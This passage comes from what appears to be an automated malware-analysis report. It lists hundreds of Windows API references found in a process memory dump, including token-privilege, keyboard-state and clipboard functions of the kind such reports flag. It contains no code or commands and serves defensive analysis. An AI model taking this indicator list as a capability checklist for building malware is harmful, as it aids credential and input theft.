"00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "VirtualFree"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetExitCodeProcess"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileStringW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "WritePrivateProfileStringW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileSectionW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "WritePrivateProfileSectionW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileSectionNamesW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "FileTimeToLocalFileTime"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "FileTimeToSystemTime"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "SystemTimeToFileTime"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "LocalFileTimeToFileTime"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetDriveTypeW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetDiskFreeSpaceExW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetDiskFreeSpaceW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetVolumeInformationW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "SetVolumeLabelW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "CreateHardLinkW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "SetFileAttributesW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentVariableW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "SetEnvironmentVariableW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GlobalLock"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GlobalUnlock"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GlobalAlloc"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetFileSize"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GlobalFree"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GlobalMemoryStatusEx"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "Beep"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetComputerNameW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetWindowsDirectoryW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetProcessIoCounters"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetProcessId"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "SetPriorityClass"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "VirtualAlloc"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "CreateWindowExW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "DestroyIcon"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "MessageBoxA"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetForegroundWindow"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetSysColorBrush"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "LoadCursorW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "LoadIconW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "ShowWindow"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "SetTimer"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "CreatePopupMenu"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "KillTimer"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "PostQuitMessage"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "SetFocus"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "MoveWindow"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "DefWindowProcW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "MessageBoxW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "OpenWindowStationW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetProcessWindowStation"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "SetProcessWindowStation"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "OpenDesktopW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "CloseWindowStation"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "CloseDesktop"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetWindowRect"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetParent"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "CharUpperBuffW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "EnumChildWindows"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "ScreenToClient"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetWindowTextW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetFocus"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "AttachThreadInput"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetWindowThreadProcessId"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "InvalidateRect"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "EnableWindow"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "IsWindowVisible"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "IsWindowEnabled"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "IsWindow"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetDesktopWindow"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "EnumWindows"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "DestroyWindow"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetMenu"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetClientRect"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "BeginPaint"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetDC"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "ReleaseDC"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "CopyRect"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "SetWindowTextW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "MessageBeep"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetKeyState"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetKeyboardState"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetAsyncKeyState"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "SendInput"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "SystemParametersInfoW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "IsIconic"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "SetForegroundWindow"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetMenuItemInfoW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "SetMenuItemInfoW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetMenuItemCount"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetMenuItemID"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "CheckMenuRadioItem"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "DeleteMenu"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetCursorPos"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "TrackPopupMenuEx"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "InsertMenuItemW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "SetMenuDefaultItem"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "EnumThreadWindows"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "SetActiveWindow"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "ExitWindowsEx"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "LoadImageW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "CharLowerBuffW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "UnregisterHotKey"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "PeekMessageW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "TranslateMessage"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "DispatchMessageW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "OpenClipboard"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetClipboardData"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "CloseClipboard"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "CountClipboardFormats"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "EmptyClipboard"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "SetClipboardData"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "SetRect"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "AdjustWindowRectEx"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "CopyImage"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "SetWindowPos"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetCursorInfo"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "RegisterHotKey"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "ClientToScreen"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "IsCharAlphaW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "IsCharAlphaNumericW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "IsCharUpperW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetMenuStringW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetSubMenu"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetCaretPos"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "IsZoomed"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "TranslateAcceleratorW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetSysColor"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "InflateRect"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "DrawFocusRect"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "FrameRect"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "DrawFrameControl"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "FillRect"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "PtInRect"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "DestroyAcceleratorTable"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "CreateAcceleratorTableW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "SetCursor"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetWindowDC"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetSystemMetrics"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetActiveWindow"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "CharNextW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "wsprintfW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "RedrawWindow"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "DrawMenuBar"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "DestroyMenu"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "SetMenu"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetWindowTextLengthW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "CreateMenu"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "ReleaseCapture"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "SetCapture"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetDeviceCaps"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "DeleteObject"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "CreateCompatibleDC"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "SelectObject"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "StretchBlt"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetDIBits"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "DeleteDC"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetStockObject"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "CreateSolidBrush"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "RoundRect"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetObjectW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetOpenFileNameW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetSaveFileNameW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "RegConnectRegistryW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "InitializeSecurityDescriptor"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "InitializeAcl"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "OpenThreadToken"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "LookupPrivilegeValueW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "DuplicateTokenEx"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessAsUserW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessWithLogonW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetLengthSid"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "CopySid"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "LogonUserW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "CheckTokenMembership"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "FreeSid"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetTokenInformation"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetSecurityDescriptorDacl"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetAclInformation"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetAce"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "AddAce"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "SetSecurityDescriptorDacl"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetUserNameW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteKeyW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteValueW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "RegEnumValueW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "ShellExecuteW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "Shell_NotifyIconW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "SHFileOperationW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "SHGetFolderPathW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "SHGetSpecialFolderLocation"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "SHGetDesktopFolder"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "SHBrowseForFolderW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "SHGetPathFromIDListW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "ShellExecuteExW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "CLSIDFromString"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "ProgIDFromCLSID"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "OleSetMenuDescriptor"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "IIDFromString"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "StringFromGUID2"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "CreateStreamOnHGlobal"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "OleInitialize"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "OleUninitialize"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "CoGetObject"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeSecurity"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSRWLockExclusive"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "AcquireSRWLockExclusive"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableSRW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "InitializeSListHead"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "RtlUnwind"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "TlsAlloc"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "TlsGetValue"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "TlsSetValue"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "TlsFree"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "ExitThread"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "ResumeThread"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "FreeLibraryAndExitThread"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "VirtualProtect"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetDateFormatW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetTimeFormatW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "SetStdHandle"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleOutputCP"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "ReadConsoleW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetTimeZoneInformation"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileExW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "IsValidCodePage"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetACP"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetOEMCP"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetCPInfo"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineA"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentStringsW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "FreeEnvironmentStringsW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetStringTypeW"; Source: 